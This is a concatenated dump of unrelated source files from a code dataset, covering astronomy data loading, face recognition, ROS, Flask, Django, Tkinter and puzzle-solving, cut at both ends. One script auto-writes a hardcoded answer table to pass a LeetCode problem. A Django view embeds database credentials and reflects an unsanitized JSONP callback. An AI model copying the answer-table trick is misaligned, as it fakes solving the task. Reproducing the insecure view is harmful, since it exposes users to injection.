resonances\ndef get_order(name):\n ratio = name.split()[1]\n a, b = ratio.split(':')\n return int(a)-int(b)\n\nwith pr.resource_stream('pyciss', 'data/ring_resonances.csv') as f:\n resonances = pd.read_csv(f)\nresonances.columns = ['name', 'radius', 'a_moon', 'n', 'kappa']\nresonances = resonances.sort_values(by='radius', ascending=True)\nresonances['order'] = resonances.name.map(get_order)\n\nprime_resonances = resonances[resonances.order == 1].drop('order', axis=1)\n# filter out Janus and Epimetheus\nprime_resonances = prime_resonances.loc[~prime_resonances.name.str.startswith('Janus')]\nprime_resonances = prime_resonances.loc[~prime_resonances.name.str.startswith('Epimetheus')]\n\n# Janus Epithemeus resonances\nw = [len(' Janus1'),\n len(' reson'),\n len(' Resonance radius R')]\n\n\ndef get_janos_epi_order(reso):\n a, b = reso.split(':')\n return int(a) - int(b)\n\nfname = pr.resource_filename('pyciss',\n 'data/ring_janus_epimetheus_resonances.txt')\nwith open(fname) as f:\n jan_epi_resonances = pd.read_fwf(f, skiprows=15, header=0, widths=w,\n skip_footer=1)\n\n# replace column names\njan_epi_resonances.columns = ['moon', 'reson', 'radius']\n\n# calculate order from resonance name\njan_epi_resonances['order'] = jan_epi_resonances.reson.map(get_janos_epi_order)\n\n# remove space from resonance string\nf = lambda x: ':'.join(i.strip() for i in x.split(':'))\njan_epi_resonances.reson = jan_epi_resonances.reson.map(f)\n\n# calculate name for axes display\njan_epi_resonances['name'] = jan_epi_resonances.moon + ' ' +\\\n jan_epi_resonances.reson\n\n# remove orders > 1 and drop unrequired columns\nprime_jan_epis = jan_epi_resonances[jan_epi_resonances.order == 1]\nto_drop = ['order', 'moon', 'reson']\nprime_jan_epis = prime_jan_epis.drop(to_drop, axis=1)\n\nall_resonances = pd.concat([prime_resonances, prime_jan_epis])\nall_resonances.sort_values(by='radius', inplace=True)\n","sub_path":"pyciss/meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"1829737","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport cv2\nimport os\nimport numpy as np\nfrom PIL import Image\nimport pickle\n\n#目前檔案路徑\nBASE_DIR = os.path.dirname(os.path.abspath(\"__file__\"))\n#路經+pics\nimage_dir = os.path.join(BASE_DIR,\"pics\")\n\nface_cascade = cv2.CascadeClassifier('E:/Python/Lib/site-packages/cv2/data/haarcascade_frontalface_alt2.xml')\nrecognizer = cv2.face.LBPHFaceRecognizer_create()\n\n\ncurrent_id = 0\nlabel_ids = {}\n\ny_labels = []\nx_train = []\n\n#尋找資料夾中所有目錄及檔名\nfor root, dirs, files in os.walk(image_dir):\n for file in files:\n # 副檔名為png&jpg\n if file.endswith(\"PNG\") or file.endswith(\"png\") or file.endswith(\"jpg\") or file.endswith(\"JPG\"):\n path = os.path.join(root, file)\n #label 顯示檔案所在的資料夾名稱\n label = os.path.basename(root).replace(\" \",\"-\").lower()\n #print(label,path)\n \n if not label in label_ids:\n label_ids[label] = current_id\n current_id += 1\n id_ = label_ids[label]\n #print(label_ids)\n #y_labels.append(label)\n #x_train.append(path)\n \n #用PIL將圖像轉換成L模式 L = R * 299/1000 + G * 587/1000+ B * 114/1000\n pil_image = Image.open(path).convert(\"L\")\n \n #固定照片大小\n size = (550 , 550)\n final_image = pil_image.resize(size, Image.ANTIALIAS)\n \n image_array = np.array(pil_image, \"uint8\")\n #print(image_array)\n \n faces = face_cascade.detectMultiScale(image_array,scaleFactor=1.5,minNeighbors=5)\n \n for (x,y,w,h) in faces:\n roi = image_array[y:y+h, x:x+w]\n x_train.append(roi)\n y_labels.append(id_)\n\n#print(y_labels)\n#print(x_train)\n \n#寫入對照表\nwith open(\"labels.pickle\",\"wb\") as f:\n pickle.dump(label_ids,f)\n \n#訓練好蟹入YML\nrecognizer.train(x_train,np.array(y_labels))\nrecognizer.write(\"trainner.yml\")\n\n","sub_path":"Faces_training.py","file_name":"Faces_training.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"360868618","text":"from numpy.random import random as randy\nfrom numpy import log,sort\nfrom pylab import plot,show\n\ntau = 3.053*60\nN = 100\nmu = log(2)/tau\nz = randy(N)\nx = -log(1-z)/mu\nx = sort(x)\nsurvived = N - x\nplot(survived)\nshow()\n","sub_path":"Chapter10/Ex10.4.py","file_name":"Ex10.4.py","file_ext":"py","file_size_in_byte":217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"560271154","text":"import rospy\nimport os\nimport csv\nimport copy\nimport numpy as np\nimport tf.transformations as tf\nfrom geometry_msgs.msg import PoseStamped\n\nimport utils\n\nCOORDINATE_PATH = \"/home/cai/share_for_compt/for_yoon/part_coordinate\"\n\nclass InterfaceForDetector():\n def __init__(self):\n self.dir_path = COORDINATE_PATH\n self.check_for_ready_to_start()\n self.initial_obj_pose_dict = self.initial_detect()\n \n def check_for_ready_to_start(self):\n print(\"--- Wait for_ready...\")\n req_file_name = \"01.txt\"\n req_file_path = os.path.join(self.dir_path, req_file_name)\n while True:\n with open(req_file_path) as f:\n data = f.read()\n if \"0\" in data:\n break\n else:\n continue\n print(\"--- Ready for assembly task!\")\n \n def initial_detect(self):\n obj_pose_dict = {}\n obj_list = os.listdir(self.dir_path)\n for file_name in obj_list:\n obj_name = file_name.split(\".\")[0]\n if \"PART\" in obj_name or \"C\" in obj_name:\n obj_pose, success = self.get_detect_info(obj_name)\n if success:\n obj_pose_dict[obj_name] = obj_pose\n return obj_pose_dict\n \n def get_detect_info(self, target_name, verbose=0):\n print(\"\\n------------------------\")\n print(target_name)\n if verbose == 1:\n self.req_for_refresh()\n else:\n pass\n target_file = \"{}.txt\".format(target_name)\n target_path = os.path.join(self.dir_path, target_file)\n print(target_path)\n try:\n target_pose = self.get_pose_by_read_file(target_path)\n return target_pose, True\n except IOError:\n return None, False\n\n def get_pose_by_read_file(self, file_path):\n with open(file_path) as f:\n reader = csv.reader(f)\n lines = list(reader)\n ref_name = lines[0][0]\n part_name = lines[1][0]\n xyz = np.array([lines[2][0], lines[2][1], lines[2][2]], np.float)\n xyz[2] += 0.02\n rpy = np.array([lines[3][0], lines[3][1], lines[3][2]], np.float)\n quat = tf.quaternion_from_euler(rpy[0], rpy[1], rpy[2])\n \n temp_pose = PoseStamped()\n temp_pose.pose.position.x = xyz[0]\n temp_pose.pose.position.y = xyz[1]\n temp_pose.pose.position.z = xyz[2]\n temp_pose.pose.orientation.x = quat[0]\n temp_pose.pose.orientation.y = quat[1]\n temp_pose.pose.orientation.z = quat[2]\n temp_pose.pose.orientation.w = quat[3]\n temp_pose.header.frame_id = ref_name\n temp_pose.header.stamp = rospy.Time.now()\n return temp_pose\n\n def req_for_refresh(self):\n print(\"--- Wait for_refresh...\")\n req_file_name = \"01.txt\"\n req_file_path = os.path.join(self.dir_path, req_file_name)\n with open(req_file_path, \"w\") as f:\n f.write(\"1\")\n \n while True:\n with open(req_file_path) as f:\n data = f.read()\n if \"0\" in data:\n break\n else:\n continue\n print(\"--- Refresh is completed!\")\n \n def get_tfMat_from_pose(self, pose):\n tr = np.array([pose.pose.position.x, \n pose.pose.position.y, \n pose.pose.position.z])\n quat = np.array([pose.pose.orientation.x,\n pose.pose.orientation.y,\n pose.pose.orientation.z,\n pose.pose.orientation.w])\n tf_mat = utils.get_tf_matrix(tr, quat)\n return tf_mat\n ","sub_path":"assembly_core_v2/src/Interface_for_detector.py","file_name":"Interface_for_detector.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"18067340","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom src.domain.exceptions import *\nfrom src.utils.exception import format_exception_list\n\n\nclass AddBook:\n def __init__(self, master, controller_book):\n self._master = master\n self._ctrl = controller_book\n self._title_frame = Frame(self._master)\n\n self._information_frame = Frame(self._master)\n self.id_entry = Entry(self._information_frame)\n self.title_entry = Entry(self._information_frame)\n self.author_entry = Entry(self._information_frame)\n self.year_entry = Entry(self._information_frame)\n self._button_frame = Frame(self._master)\n\n self.create_widgets()\n\n self.reset()\n\n def create_widgets(self):\n self._title_frame.pack()\n Label(self._title_frame, text='- ADD BOOK -', font=('Arial Black', 18), fg='Green').pack()\n\n self._information_frame.pack()\n Label(self._information_frame, text='ID').grid(row=0, column=0, sticky=E)\n self.id_entry.grid(row=0, column=1)\n Label(self._information_frame, text='Title').grid(row=1, column=0, sticky=E)\n self.title_entry.grid(row=1, column=1)\n Label(self._information_frame, text='Author').grid(row=2, column=0, sticky=E)\n self.author_entry.grid(row=2, column=1)\n Label(self._information_frame, text='Year').grid(row=3, column=0, sticky=E)\n self.year_entry.grid(row=3, column=1)\n\n self._button_frame.pack()\n Button(self._button_frame, text='Submit', command=self.submit).pack(side=LEFT)\n Button(self._button_frame, text='Reset', command=self.reset).pack(side=LEFT)\n Button(self._button_frame, text='Quit', command=self._master.destroy).pack(side=LEFT)\n\n def submit(self):\n try:\n self._ctrl.save(self.id_entry.get(), self.title_entry.get(), self.author_entry.get(), self.year_entry.get())\n messagebox.showinfo('Successful', 'The book was added in repository!')\n self.reset()\n except SaveBookRepositoryException as ex:\n messagebox.showerror('Error!', ex)\n except ValidateBookException as ex:\n messagebox.showerror('Error!', format_exception_list(ex))\n except ValueError:\n messagebox.showerror('Error!', 'The Id and Year must be numeric!')\n\n def reset(self):\n id = self._ctrl.get_list()[-1].id+1\n self.id_entry.delete(0, END)\n self.id_entry.insert(0, id)\n self.title_entry.delete(0, END)\n self.author_entry.delete(0, END)\n self.year_entry.delete(0, END)\n","sub_path":"src/gui/manage/book/add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"596549205","text":"# 这里写一个基础接口类,以后所以接口都需要继承此类\n# __call__方法是为了使用此类可以直接像方法一样调用\n# 异常处理时,先捕捉BaseError,我们将BaseError当成\n# 正常的业务异常;之后捕捉Exception,就是系统异常,\n# 需要进行日志记录等操作\nfrom flask import request\nfrom flask import jsonify\nfrom flask import current_app\nfrom flask.views import View\n\nfrom base import errors\nfrom base import session\n\nfrom .req_framework import VerParams\nfrom .resp_framework import Resp\n\n\nclass Api(VerParams, Resp, View):\n NEED_LOGIN = True\n\n def __init__(self):\n self.__name__ = self.__class__.__name__\n\n def _get_token(self):\n token = request.headers.get('HTTP-X-TOKEN')\n if not token:\n raise errors.NoTokenError\n return token\n\n def _identification(self):\n if self.NEED_LOGIN:\n self.token = self._get_token()\n self.user_id = session.get_session(self.token)\n if not self.user_id:\n raise errors.LoginExpiredError\n\n def _handle_params(self):\n \"\"\"\n 参数校验\n \"\"\"\n if request.method.lower() == 'get':\n self.data = dict(request.args)\n else:\n self.data = request.json\n\n def ver_params(self):\n \"\"\"\n 参数校验\n \"\"\"\n ret = self._ver_params(self.params_dict, self.data)\n if ret is not True:\n raise errors.ParamsError(ret)\n\n def _pre_handle(self):\n \"\"\"\n 调用具体业务方法之前,如果需要一些权限认证或者其它操作在这里实现\n \"\"\"\n self._identification()\n\n def _after_handle(self):\n \"\"\"\n 调用具体业务方法后,如果需要一些结果处理等在这里实现\n \"\"\"\n pass\n\n def dispatch_request(self, *args, **kwargs):\n data = ''\n errno = 0\n errmsg = ''\n try:\n self._handle_params()\n self.__dispatch()\n method = getattr(self, request.method.lower(), None)\n if not method:\n raise errors.MethodError\n self._pre_handle()\n result = method()\n self._after_handle()\n except errors.BaseError as e:\n current_app.logger.error(e)\n result = {\n \"errcode\": e.errno,\n \"errmsg\": e.errmsg,\n \"data\": {}\n }\n except Exception as e:\n current_app.logger.error(e)\n current_app.logger.exception(e)\n result = {\n \"errcode\": errors.BaseError.errno,\n \"errmsg\": errors.BaseError.errmsg,\n \"data\": {}\n }\n return jsonify(result)\n\n def __get_subpath(self, path):\n tail_slash = ''\n if path.endswith('/'):\n path = path[:-1]\n tail_slash = '/'\n path, key = path.rsplit('/', maxsplit=1)\n path += '/'\n return path, key, tail_slash\n\n def __dispatch(self):\n from base.urls import routing_dict\n path = request.path.replace('/api', '')\n if not path:\n raise errors.MethodError\n self.key = None\n path_dict = {}\n tail_slash = ''\n api_path = path\n upstream = ''\n if path in routing_dict:\n upstream = routing_dict[path]\n else:\n subpath, self.key, tail_slash = self.__get_subpath(path)\n if subpath in routing_dict:\n upstream = routing_dict[subpath]\n api_path = subpath\n if not upstream:\n raise errors.MethodError\n\n lpc = ''\n url = ''\n # 目前先不走url\n if isinstance(upstream, str):\n raise errors.MethodError(\"请求无效\")\n\n lpc = upstream\n\n self.headers = {\n 'Host': request.headers['HOST'],\n 'User-Agent': request.headers['USER_AGENT'],\n 'Path': api_path,\n 'Dev-Platform': request.headers.get('HTTP_DEV_PLATFORM', None),\n 'Dev-Model': request.headers.get('HTTP_DEV_MODEL', None),\n 'Dev-Version': request.headers.get('HTTP_DEV_VERSION', None),\n 'App-Version': request.headers.get('HTTP_APP_VERSION', None),\n 'App-Client': request.headers.get('HTTP_APP_CLIENT', None),\n 'App-Id': request.headers.get('HTTP_X_AUTH_APPID', None),\n 'Path_Dict': path_dict,\n 'open_id': request.headers.get('HTTP_AUTHORIZATION', None),\n\n }\n if 'HTTP_X_AUTH_USERTOKEN' in request.headers:\n self.headers['X-AUTH-USERTOKEN'] = request.headers['HTTP_X_AUTH_USERTOKEN']\n for k, v in request.files.items():\n request.data.pop(k)\n if request.content_type and request.content_type.lower() == 'application/json':\n self.headers['Content-Type'] = request.content_type\n\n if lpc:\n try:\n self.call_method = request.method.lower()\n if self.call_method == 'get' and not self.key:\n self.call_method = 'list'\n except Exception as e:\n # logger.error(f'请求失败:\\ncall_method {request.method.lower()}\\n url {request.path} \\n headers {headers} ;\\n data {data} \\n {e} ')\n raise errors.MethodError(\"请求无效\")\n return\n if url:\n raise errors.MethodError(\"请求无效\")\n","sub_path":"api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"384040715","text":"from selenium import webdriver\nbrowser = webdriver.Firefox()\nbrowser.get('http://inventwithpython.com')\ntry:\n # elem = browser.find_element_by_class_name('bookcover')\n elem = browser.find_element_by_tag_name('img')\n print('Found <%s> element with that tag name!' % (elem.tag_name))\n print('Location of element: %s' % (elem.location))\nexcept:\n print('Was not able to find an element with that name.')\n","sub_path":"python/03AutomateTheBoringStuffWithPython/11Webscraping/22FindBookCoverElementWithSelenium.py","file_name":"22FindBookCoverElementWithSelenium.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"636508345","text":"import pandas as pd\n\n# save with pandas too\n\nacc_max = [1,3,4,5]\nheader = ['accuracy', 'lenght']\nsavefiles = zip(acc_max, [1]*len(acc_max))\ndf = pd.DataFrame(savefiles, columns=header)\nfiledir = r'./results/'\ndf.to_csv(filedir + 'test.csv')\nprint('Done training.')\n\n","sub_path":"assignment_2/part1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"275472452","text":"#coding:utf-8\n#使用随机数进行打表,生成所有最优解,并自动写代码\n#同时观察数据的分布情况\nfrom eight_puzzle.naive_dqn.TrainTestPuzzle import init_environment,restore\nfrom eight_puzzle.EightPuzzleEnv import NDist\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nsns.set_style('whitegrid')\nnp.set_printoptions(suppress=True, linewidth=500, edgeitems=8,precision=4)\ndef putMap(dic,cnt,lst):\n key=\"\"\n for i in lst:\n key+=str(i)\n if not (key in dic):\n dic[key]=cnt\n \ndef fac(n):\n '''\n 阶乘\n '''\n if n==1:\n return 1\n else:\n return n*fac(n-1)\n\ndef write_ac_code(dic):\n '''\n 自动写AC代码\n '''\n print()\n print('''def boardToKey(board):\n key=\"\"\n for array in board:\n for i in array:\n key+=str(i)\n return key\n ''')\n \n print('''class Solution:\n def slidingPuzzle(self, board: List[List[int]]) -> int:''')\n print(' d={}')\n for entry in dic.items():\n print(' d[\"'+entry[0]+'\"]='+str(entry[1]))\n print(' key=boardToKey(board)')\n print(''' if key in d:\n return d[key]\n else:\n return -1''')\n \nif __name__ == '__main__':\n dic={}\n dic['123450']=0\n env,agent=init_environment()\n restore(agent)\n MAXITER=65535\n Total=fac(6)>>1\n stepList=[0]\n for i in range(MAXITER):\n state=env.reset()\n initState=state.copy()\n cnt=0\n while True:\n action = agent.predict(state.ravel())\n next_state, reward, isOver,_ = env.step(action)\n cnt+=1\n state = next_state\n if isOver or cnt>=env._max_episode_steps:\n break\n stepList.append(cnt)\n if i%50==0:\n print('执行次数:',i,'完成度:{:.2f}%'.format(len(dic)/Total*100))\n putMap(dic, cnt, initState.ravel())\n if len(dic)>=Total:\n print('end!',i)\n break\n write_ac_code(dic)\n\n #绘制数据分布图\n print('\\n\\n')\n print('min:',np.min(stepList))\n print('mean:',np.mean(stepList))\n print('median:',np.median(stepList))\n print('max:',np.max(stepList))\n print('std:',np.std(stepList))\n print('猜测数据服从正态分布')\n max_value=32\n XTick=np.linspace(0,32,17)\n plt.hist(stepList,bins=32,alpha=0.5,color='red',edgecolor='red',density=True,range=(0,max_value))\n x=np.linspace(0,max_value,64)\n y=NDist(x,np.median(stepList),np.std(stepList))\n plt.xticks(XTick)\n plt.plot(x,y,color='blue',lw=2)\n plt.show()","sub_path":"eight_puzzle/naive_dqn/AutoWriteCode_NaiveDQN.py","file_name":"AutoWriteCode_NaiveDQN.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"179546028","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom django.http import HttpResponse\nfrom rest_framework.parsers import JSONParser\nimport MySQLdb\nimport json\n# Create your views here.\nclass JobManagement(APIView):\n parser_classes = (JSONParser,)\n def get(self, request, format=None):\n #\n #include method here\n #\n Con=MySQLdb.connect(host='localhost',user='pangu',passwd='pangu',db='nagios')\n cursor=Con.cursor()\n aa=cursor.execute(\"select * from pangu_service where HostName='client9'\")\n packet=[]\n callback = request.GET.get('callback')\n info = cursor.fetchmany(aa)\n for ii in info:\n data = {}\n data['ServiceName'] = ii[0]\n data['HostName'] = ii[1]\n data['LastCheck'] = ii[2]\n data['PerformanceData'] = ii[3]\n data['PluginOutput'] = ii[4]\n data['Attempt'] = ii[5]\n data['Duration'] = ii[6]\n data['HostId'] = ii[7]\n packet.append(data)\n D = '%s(%s)'%(callback, json.dumps(packet))\n cursor.close()\n Con.commit()\n Con.close()\n return HttpResponse(D, content_type=\"application/json\")\n","sub_path":"server/ClusterManager/views_job_management.py","file_name":"views_job_management.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"422767622","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import, division, print_function\n\nimport os\n\nfrom derrick.core.detector_report import DetectorReport\nfrom derrick.detectors.image.php import PhpVersionDetector\nfrom derrick.detectors.general.image_repo import ImageRepoDetector\nfrom derrick.core.rigging import Rigging\nfrom derrick.detectors.general.derrick import DerrickDetector\n\nPLATFORM = \"PHP\"\n\n\nclass PhpRigging(Rigging):\n def detect(self, context):\n workspace = context.get(\"WORKSPACE\")\n composer_file = os.path.join(workspace, \"composer.json\")\n\n if os.path.exists(composer_file) is True:\n return True, PLATFORM\n return False, None\n\n def compile(self, context):\n dr = DetectorReport()\n meta = dr.create_node(\"Meta\")\n meta.register_detector(ImageRepoDetector())\n\n docker_node = dr.create_node(\"Dockerfile.j2\")\n docker_node.register_detector(PhpVersionDetector())\n\n docker_compose_node = dr.create_node(\"docker-compose.yml.j2\")\n docker_compose_node.register_detector(ImageRepoDetector())\n\n jenkins_file_node = dr.create_node(\"Jenkinsfile.j2\")\n jenkins_file_node.register_detector(ImageRepoDetector())\n\n derrick_deployment_file_node = dr.create_node(\"kubernetes-deployment.yaml.j2\")\n derrick_deployment_file_node.register_detector(ImageRepoDetector())\n derrick_deployment_file_node.register_detector(DerrickDetector())\n return dr.generate_report()\n","sub_path":"derrick/rigging/php_rigging/php_rigging.py","file_name":"php_rigging.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"370371970","text":"# -*- coding:utf-8 -*-\nimport json\nimport sqlite3\n\n#JSON_FILE = \"C:\\Users\\crobe\\Google Drive\\DataMiningGroup\\Datasets\\yelp_caption_results.json\"\n#DB_FILE = \"C:\\Users\\crobe\\Google Drive\\DataMiningGroup\\Datasets\\yelp_caption_results.db\"\nJSON_FILE = r\"C:\\Users\\crobe\\Google Drive\\DataMiningGroup\\Datasets\\results_84_62.json\"\nDB_FILE = r\"C:\\Users\\crobe\\Google Drive\\DataMiningGroup\\Datasets\\results_84_62.db\"\n\ndataset = json.load(open(JSON_FILE))\nconn = sqlite3.connect(DB_FILE)\n\nc = conn.cursor()\nc.execute('''create table images\n (photo_id text primary key,\n yelp_id text,\n business_id text,\n file_path text,\n file_name text,\n split text,\n label text,\n predicted_label text,\n caption text,\n predicted_caption_1 text,\n predicted_caption_2 text,\n predicted_caption_3 text,\n predicted_caption_4 text,\n predicted_caption_5 text)''')\n\nfor row in dataset['images']:\n data = []\n photoid = row['photoid']\n data.append(photoid)\n yelpid = row['yelpid']\n data.append(yelpid)\n businessid = row['business_id']\n data.append(businessid)\n filepath = row['filepath']\n data.append(filepath)\n filename = row['filename']\n data.append(filename)\n split = row['split']\n data.append(split)\n label = row['label']\n data.append(label)\n predicted_label = row['predicted label']\n data.append(predicted_label)\n caption = row['sentences'][0]['raw']\n data.append(caption)\n predicted_0 = row['predicted caption'][0]\n data.append(predicted_0)\n predicted_1 = row['predicted caption'][1]\n data.append(predicted_1)\n predicted_2 = row['predicted caption'][2]\n data.append(predicted_2)\n predicted_3 = row['predicted caption'][3]\n data.append(predicted_3)\n predicted_4 = row['predicted caption'][4]\n data.append(predicted_4)\n\n c.execute('insert into images values (?,?,?,?,?,?,?,?,?,?,?,?,?,?)', data)\n\nconn.commit()\nc.close()\n","sub_path":"captioning/jsonToSqlite.py","file_name":"jsonToSqlite.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"598110606","text":"# -*- coding: utf-8 -*-\n# 实例22:交叉熵实验\n\nimport tensorflow as tf\n\n# 标签\nlabels = [\n [0, 0, 1],\n [0, 1, 0]\n]\n# 输出值\nlogits0 = [\n [2, 0.5, 6],\n [0.1, 0, 3]\n]\n\n# 进行第一次softmax\nlogits1 = tf.nn.softmax(logits0)\n# 进行第二次softmax\nlogits2 = tf.nn.softmax(logits1)\n\nresult1 = tf.nn.softmax_cross_entropy_with_logits(labels=labels, logits=logits0)\nresult2 = tf.nn.softmax_cross_entropy_with_logits(labels=labels, logits=logits1)\n# 自定义公式\nresult_custum1 = -tf.reduce_sum(labels * tf.log(logits1), 1)\nresult_custum2 = -tf.reduce_sum(labels * tf.log(logits2), 1)\n\nwith tf.Session() as sess:\n print(\"labels: \", labels)\n print(\"logits0: \", logits0)\n print(\"logits1: \", sess.run(logits1))\n print(\"logits2: \", sess.run(logits2))\n print(\"result0: \", sess.run(result1))\n print(\"result1: \", sess.run(result2))\n print(\"result_custum1: \", sess.run(result_custum1))\n print(\"result_custum2: \", sess.run(result_custum2))\n","sub_path":"tf06/example22.py","file_name":"example22.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"460939852","text":"import os\n\nfrom ruamel import yaml\n\nimport great_expectations as ge\nfrom great_expectations.data_context.util import file_relative_path\n\ncontext = ge.get_context()\n\nyaml = yaml.YAML(typ=\"safe\")\n\n# parse great_expectations.yml for comparison\ngreat_expectations_yaml_file_path = os.path.join(\n context.root_directory, \"great_expectations.yml\"\n)\nwith open(great_expectations_yaml_file_path) as f:\n great_expectations_yaml = yaml.load(f)\n\nactual_datasource = great_expectations_yaml[\"datasources\"]\n\n# expected Datasource\nexpected_existing_datasource_yaml = r\"\"\"\n my_datasource:\n class_name: SparkDFDatasource\n module_name: great_expectations.datasource\n data_asset_type:\n module_name: great_expectations.dataset\n class_name: SparkDFDataset\n batch_kwargs_generators:\n subdir_reader:\n class_name: SubdirReaderBatchKwargsGenerator\n base_directory: ../../../\n\"\"\"\n\nassert actual_datasource == yaml.load(expected_existing_datasource_yaml)\n\n# Please note this override is only to provide good UX for docs and tests.\nupdated_configuration = yaml.load(expected_existing_datasource_yaml)\nupdated_configuration[\"my_datasource\"][\"batch_kwargs_generators\"][\"subdir_reader\"][\n \"base_directory\"\n] = \"../data/\"\ncontext.add_datasource(name=\"my_datasource\", **updated_configuration[\"my_datasource\"])\n\nactual_validation_operators = great_expectations_yaml[\"validation_operators\"]\n\n# expected Validation Operators\nexpected_existing_validation_operators_yaml = \"\"\"\n action_list_operator:\n class_name: ActionListValidationOperator\n action_list:\n - name: store_validation_result\n action:\n class_name: StoreValidationResultAction\n - name: store_evaluation_params\n action:\n class_name: StoreEvaluationParametersAction\n - name: update_data_docs\n action:\n class_name: UpdateDataDocsAction\n\"\"\"\nassert actual_validation_operators == yaml.load(\n expected_existing_validation_operators_yaml\n)\n\n# check that checkpoint contains the right configuration\n# parse great_expectations.yml for comparison\ncheckpoint_yaml_file_path = os.path.join(\n context.root_directory, \"checkpoints/test_v2_checkpoint.yml\"\n)\nwith open(checkpoint_yaml_file_path) as f:\n actual_checkpoint_yaml = yaml.load(f)\n\nexpected_checkpoint_yaml = \"\"\"\nname: test_v2_checkpoint\nconfig_version:\nmodule_name: great_expectations.checkpoint\nclass_name: LegacyCheckpoint\nvalidation_operator_name: action_list_operator\nbatches:\n - batch_kwargs:\n path: ../../data/Titanic.csv\n datasource: my_datasource\n data_asset_name: Titanic.csv\n reader_options:\n header: True\n expectation_suite_names:\n - Titanic.profiled\n\"\"\"\n\nassert actual_checkpoint_yaml == yaml.load(expected_checkpoint_yaml)\n\n# override for integration tests\nupdated_configuration = actual_checkpoint_yaml\nupdated_configuration[\"batches\"][0][\"batch_kwargs\"][\"path\"] = file_relative_path(\n __file__, \"data/Titanic.csv\"\n)\n\n# run checkpoint\ncontext.add_checkpoint(**updated_configuration)\nresults = context.run_checkpoint(checkpoint_name=\"test_v2_checkpoint\")\n\nassert results[\"success\"] is True\n","sub_path":"tests/integration/docusaurus/miscellaneous/migration_guide_spark_v2_api.py","file_name":"migration_guide_spark_v2_api.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"576454239","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: /Users/sanhehu/Documents/GitHub/pylbd-project/pylbd/__init__.py\n# Compiled at: 2019-05-15 17:29:58\n# Size of source mod 2**32: 261 bytes\n__doc__ = '\\nPackage Description.\\n'\nfrom ._version import __version__\n__short_description__ = 'Package short description.'\n__license__ = 'MIT'\n__author__ = 'Sanhe Hu'\n__author_email__ = 'husanhe@gmail.com'\n__github_username__ = 'MacHu-GWU'","sub_path":"pycfiles/PyLBFGS-0.2.0.13-cp34-cp34m-manylinux1_i686/__init__.cpython-36.py","file_name":"__init__.cpython-36.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"400984748","text":"class Solution:\r\n # @param {integer[]} candidates\r\n # @param {integer} target\r\n # @return {integer[][]}\r\n def combinationSum(self, candidates, target):\r\n if not candidates:\r\n return []\r\n candidates.sort()\r\n return self.dfs(candidates, 0, target, [], [])\r\n\r\n\r\n def dfs(self, candidates, idx, target, ans, path):\r\n if target < 0:\r\n return ans\r\n if not target:\r\n ans.append(list(path))\r\n return ans\r\n for i in range(idx, len(candidates)):\r\n if target - candidates[i] < 0:\r\n break\r\n self.dfs(candidates, i, target - candidates[i],\r\n ans, path + [candidates[i]])\r\n return ans\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef check(input1, input2, ans):\r\n\tsolver = Solution()\r\n\tresult = solver.combinationSum(input1, input2)\r\n\tif result == ans:\r\n\t\tprint ('pass\\n')\r\n\telse:\r\n\t\tprint ('input %s, truth %s, yours %s\\n' % (input1, ans, result))\r\n\r\ncheck([2,3,6,7], 7, [[7], [2, 2, 3]])\r\n","sub_path":"Mine/39_combinational sum.py","file_name":"39_combinational sum.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"417747102","text":"import sys\nimport time\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom . import language_server\nfrom .types import Diagnostic\nfrom .flutter import checked, check_type\n\n\n@checked\n@dataclass\nclass LSPPosition:\n line: int\n character: int\n\n\n@checked\n@dataclass\nclass LSPRange:\n start: LSPPosition\n end: LSPPosition\n\n\n@checked\n@dataclass\nclass LSPDiagnostic:\n message: str\n severity: int\n range: LSPRange\n\n\ndef 